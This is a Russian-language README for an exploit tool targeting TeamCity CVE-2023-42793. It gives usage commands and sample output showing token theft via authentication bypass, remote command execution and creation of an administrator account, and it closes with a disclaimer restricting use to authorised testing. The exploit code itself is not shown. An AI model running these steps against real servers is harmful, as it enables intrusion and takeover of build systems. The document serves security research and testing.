
Эксплойт для TeamCity CVE-2023-42793, позволяющий удаленное выполнение кода и создание учетной записи администратора через обход аутентификации на основе токена.
Пример выполнения команды:
python3 exploit.py -u http://localhost
User add token -> eyJ0eXAiOiAiVENWMiJ9.YkZ0V2tzR3NvWXhZelRfZTN0cFF1SkZjVWVz.N2M0Njk2ZTgtNWZhYi00MTU5LWJmZjQtYWU1MDFlYzZiMGY1
Successful execution, preparing for the RCE
Command -> whoami
StdOut:tcuser
StdErr:
Exit code: 0
Time: 16ms
Command -> ls -la /home
StdOut:total 8
drwxr-xr-x 2 root root 4096 Apr 15 2020 .
drwxr-xr-x 1 root root 4096 Feb 28 2024 ..
StdErr:
Exit code: 0
Time: 23ms
В случае истечения срока действия токена будет создан новый автоматически.
Command -> whoami
[-] Token expired, restarting...
[!]Error deleting user
User add token -> eyJ0eXAiOiAiVENWMiJ9.ZVJiSTB6SGZWSEpldzhEa1o4cUdsWFlQRTJJ.NGQxOTg4ZWItNTJmYS00OWM3LWIwYmItZjcyODNkYjg5NTJj
Successful execution, preparing for the RCE
Command -> whoami
StdOut:tcuser
StdErr:
Exit code: 0
Time: 24ms
Создание пользователя администратора:
python3 user_add_administrator.py -t http://127.0.0.1 -u cxdxnt -p testing -u [email protected]
User add token -> eyJ0eXAiOiAiVENWMiJ9.Z21xU3ZtTXNYUXE2WGdkaWJCOFV4QWsxN2s0.NmMyZDE0YTItMDQ1OS00NGQ2LTk2YWEtNjg1MTU3ZGNiNjM0
Create username administrator
В случае, если пользователь уже существует:
python3 user_add.py -t http://127.0.0.1 -u cxdxnt -p testing -u [email protected]
User add token -> eyJ0eXAiOiAiVENWMiJ9.Q3ZFa0ExR2tBcGlSMUZ3ZWNyMUtNN0VPQmFN.Mzk0M2EyZjAtMzVhNi00YTU0LWFmNTctMTg4MThkZmU5MDA3
is already in use by some other user.
Этот репозиторий предназначен только для образовательных и исследовательских целей в области компьютерной безопасности. Использование описанных здесь скриптов и техник для компрометации систем без разрешения является незаконным и нарушает национальные и международные законы, такие как Закон 26.388 (Аргентина), CFAA (США) и Будапештская конвенция.
Автор не несет ответственности за неправомерное использование предоставленной здесь информации. Использование этого материала разрешено только в контролируемых средах, лабораториях, CTF или с явного разрешения владельца системы.
Если вы собираетесь проводить тесты, убедитесь, что у вас есть разрешение. Взлом без разрешения — это не этичный хакинг, а преступление.